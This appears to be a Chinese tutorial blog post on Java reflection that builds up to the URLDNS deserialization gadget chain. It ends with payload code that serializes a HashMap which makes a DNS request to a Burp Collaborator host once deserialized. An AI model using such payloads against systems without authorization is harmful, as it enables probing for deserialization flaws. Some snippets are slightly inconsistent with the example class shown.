實(shí)例解析Java反射,你會(huì)了嗎?
反射是大多數(shù)語(yǔ)言里都必不不可少的組成部分,對(duì)象可以通過(guò)反射獲取他的類,類可以通過(guò)反射拿到所有方法(包括私有),拿到的方法可以調(diào)用,總之通過(guò)“反射”,我們可以將Java這種靜態(tài)語(yǔ)言附加上動(dòng)態(tài)特性。
什么是反射
java的反射是指在運(yùn)行狀態(tài)中,對(duì)于任意一個(gè)類都能夠知道這個(gè)類所有的屬性和方法,并且對(duì)于任意一個(gè)對(duì)象。
基本形式
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
上面的例子中,我演示了幾個(gè)在反射里極為重要的方法:獲取類的方法: forName實(shí)例例化類對(duì)象的方法: newInstance獲取函數(shù)的方法: getMethod執(zhí)行函數(shù)的方法: invoke。
反射的作用:
讓Java具有動(dòng)態(tài)性,修改已有對(duì)象的屬性,動(dòng)態(tài)生成對(duì)象,動(dòng)態(tài)調(diào)用方法,操作內(nèi)部類和私有方法。
在反序列化漏洞中的應(yīng)用
定制需要的對(duì)象,通過(guò)invoke調(diào)用除了同名函數(shù)以外的函數(shù),通過(guò)class類創(chuàng)建對(duì)象,引入不能序列化的類。
java反射舉例
此處引用白日夢(mèng)組長(zhǎng)的例子,具體講解一下反射。
先寫一個(gè)Person作為我們下面演示的原型類。
public class Person {
private String name;
public int age;
public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
獲取原型類
使用forName方法:
Class c = Class.forName("Person");
在此也寫一種基于ClassLoader的動(dòng)態(tài)類加載方式。
this.getClass().getClassLoader().loadClass("Person");
從原型class里面實(shí)例化對(duì)象
利用構(gòu)造函數(shù)實(shí)例化。
Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);
我們來(lái)逐行寫一下分析:
Constructor constructor = c.getConstructor(String.class,int.class);
這一行是為了獲取原型類中重載的構(gòu)造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}
對(duì)構(gòu)造方法進(jìn)行傳參實(shí)例化一個(gè)對(duì)象
Person p1 = (Person) constructor.newInstance("abc",22);
我們可以打印一下p1看一下返回結(jié)果
獲取類里面的屬性
private String name;
public int age;
public
Field ageField = c.getField("age");
ageField.set(p1,11);
private
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");
獲取類方法
Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");
getMethod 與上面的獲取構(gòu)造函數(shù)類似,第一個(gè)參數(shù)是函數(shù)名,第二個(gè)是傳參的類型。
invoke方法第一個(gè)傳入對(duì)象,第二個(gè)是傳入?yún)?shù)值。
利用URLDNS(反射)
這條鏈子算是反射的一個(gè)簡(jiǎn)單應(yīng)用。
利用點(diǎn)
URL這個(gè)類重寫了hashCode方法,導(dǎo)致在執(zhí)行hashCode的時(shí)候,此利用點(diǎn)不能命令執(zhí)行,但是會(huì)請(qǐng)求DNS,所以被用來(lái)驗(yàn)證是否存在反序列化漏洞。
源碼如下:
可以看到當(dāng)我們調(diào)用一次hashCode方法,他會(huì)對(duì)傳進(jìn)去的URL對(duì)象發(fā)起請(qǐng)求,即我們?nèi)绻NSLOG申請(qǐng)一個(gè)地址,根據(jù)訪問(wèn)來(lái)判斷是否成功執(zhí)行了hashCode方法進(jìn)而判斷是否執(zhí)行了反序列化的操作。
URL這個(gè)類實(shí)現(xiàn)了java.io.Serializable,可以進(jìn)行序列化的操作。
因此,在這里我們可以驗(yàn)證一下我們上面的想法。
鏈子
這個(gè)鏈子也比較短,比較簡(jiǎn)單,主要是利用HashMap來(lái)執(zhí)行hashCode方法。
HashMap實(shí)現(xiàn)了Serializable可以序列化,此處注意反序列化時(shí)HashMap的readObject方法。
我們跟進(jìn)一下hash方法:
key參數(shù)可控,key又是由反序列化的時(shí)候生成的。在HashMap中用put傳入一個(gè)URL的對(duì)象,即可在反序列化的時(shí)候調(diào)用到此方法,從而觸發(fā)整個(gè)鏈子。
有一點(diǎn)需要注意,我們?cè)谛蛄谢臅r(shí)候,進(jìn)行的put傳參會(huì)修改掉傳入的URL對(duì)象的hashCode的值,因?yàn)閔ashCode值不等于-1,從而導(dǎo)致無(wú)法正常觸發(fā)下面的方法,即無(wú)法觸發(fā)DNS請(qǐng)求。
同時(shí)在正常put傳參的時(shí)候會(huì)執(zhí)行一次DNS請(qǐng)求,所以我們?cè)趐ut傳參之前修改hashCode的值(不為-1就行),傳參之后修改hashCode為-1,在反序列化的時(shí)候就可以正常執(zhí)行了。
payload如下:
public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在進(jìn)行put方法傳參之前修改URL對(duì)象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);
hashMap.put(u,123);
//修改URL對(duì)象的hashCode值為-1
hashcodeField.set(u,-1);
serialize(hashMap);
}